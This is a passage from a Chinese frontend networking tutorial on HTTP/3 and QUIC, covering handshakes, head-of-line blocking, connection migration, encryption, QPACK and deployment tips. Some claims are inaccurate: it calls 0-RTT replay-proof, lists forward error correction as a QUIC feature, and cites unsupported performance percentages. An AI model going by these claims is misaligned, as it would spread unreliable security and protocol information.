Safari 不支持 技术路线转向103 Early Hints
Edge 12+ 同Chromium

HTTP/3的QUIC协议优势

QUIC协议核心优势

(1) 连接建立优化（0-1 RTT）

  • 首次连接：QUIC合并传输层与加密层握手 → 1-RTT完成连接+TLS协商（对比TCP+TLS的2-3 RTT）
  • 会话恢复：支持0-RTT握手，客户端缓存密钥后可直接发送数据（如重复访问用户瞬间加载资源）
sequenceDiagram
    客户端->>服务器: 首次请求 (1-RTT)
    服务器->>客户端: 返回加密密钥（缓存）
    客户端->>服务器: 后续请求 (0-RTT + 应用数据)

(2) 彻底解决队头阻塞（HOL Blocking）

  • HTTP/2问题：基于TCP的多路复用中，单个包丢失会阻塞所有流
  • QUIC方案：在UDP上实现独立流控制，每个流单独处理丢包重传 → 包丢失仅影响当前流，其他流正常传输

(3) 无缝连接迁移

  • 传统TCP问题：网络切换（如Wi-Fi→4G）导致连接中断 → 需重新握手
  • QUIC方案：通过Connection ID标识连接（非IP/端口四元组） → 网络切换时连接保持活跃

(4) 默认强加密与安全性

  • 强制TLS 1.3：所有QUIC流量默认加密，支持前向保密（PFS） → 即使密钥泄露，历史数据仍安全
  • 抗重放攻击：通过单次密钥派生值验证，拒绝重复请求
  • 防协议降级：集成TLS 1.3的抗降级机制，阻止中间人强制低版本加密

(5) 拥塞控制优化

  • 动态算法：内置BBR（Bottleneck Bandwidth and Round-trip）算法 → 高延迟网络中吞吐量提升30%+
  • 用户态实现：协议栈位于应用层（非内核），可快速迭代拥塞算法

(6) 头部压缩与传输效率

  • QPACK压缩：改进HTTP/2的HPACK，支持乱序编码 → 减少30%头部开销。
  • 前向纠错（FEC）：添加冗余数据包，少量丢包时无需重传 → 弱网下视频卡顿率降低50%

QUIC vs TCP/TLS 关键对比

特性 TCP/TLS（HTTP/2） QUIC（HTTP/3） 前端影响
连接建立 2-3 RTT 0-1 RTT LCP时间↓34%
多路复用 流级阻塞 包级独立 FCP稳定性↑
网络切换 连接中断 无缝迁移 移动端跳出率↓
加密机制 可选TLS 强制TLS 1.3 混合内容风险消除
部署灵活性 依赖操作系统内核 用户态协议栈 快速拥塞算法更新

前端性能优化实践

  • 优先关键资源：
    • HTTP/3下无需过度域名分片（单连接多流独立），集中CDN域名提升缓存命中率。
  • 0-RTT会话利用：
    • 静态资源设置长缓存 (Cache-Control: immutable)，匹配0-RTT快速加载 4。
  • 监控协议升级：
    // 查看浏览器Network面板Protocol列
performance.getEntriesByType("resource").forEach(res => {
  if (res.nextHopProtocol === "h3") console.log("HTTP/3 used");
});
  • 降级兼容方案：
    • 服务器同时监听HTTP/2与HTTP/3，Alt-Svc头自动协商协议：
      Alt-Svc: h3=":443"; ma=2592000; v="46,43"

五、高级网络技术

5.1 API设计规范

RESTful架构原则（资源化/状态转移）

GraphQL查询与REST对比

5.2 调试与监控

浏览器Network面板分析（Waterfall/Timing）

性能指标（TTFB/LCP/FCP）监控

5.3 新兴技术

WebRTC基础（P2P通信/信令服务）

WebTransport协议探索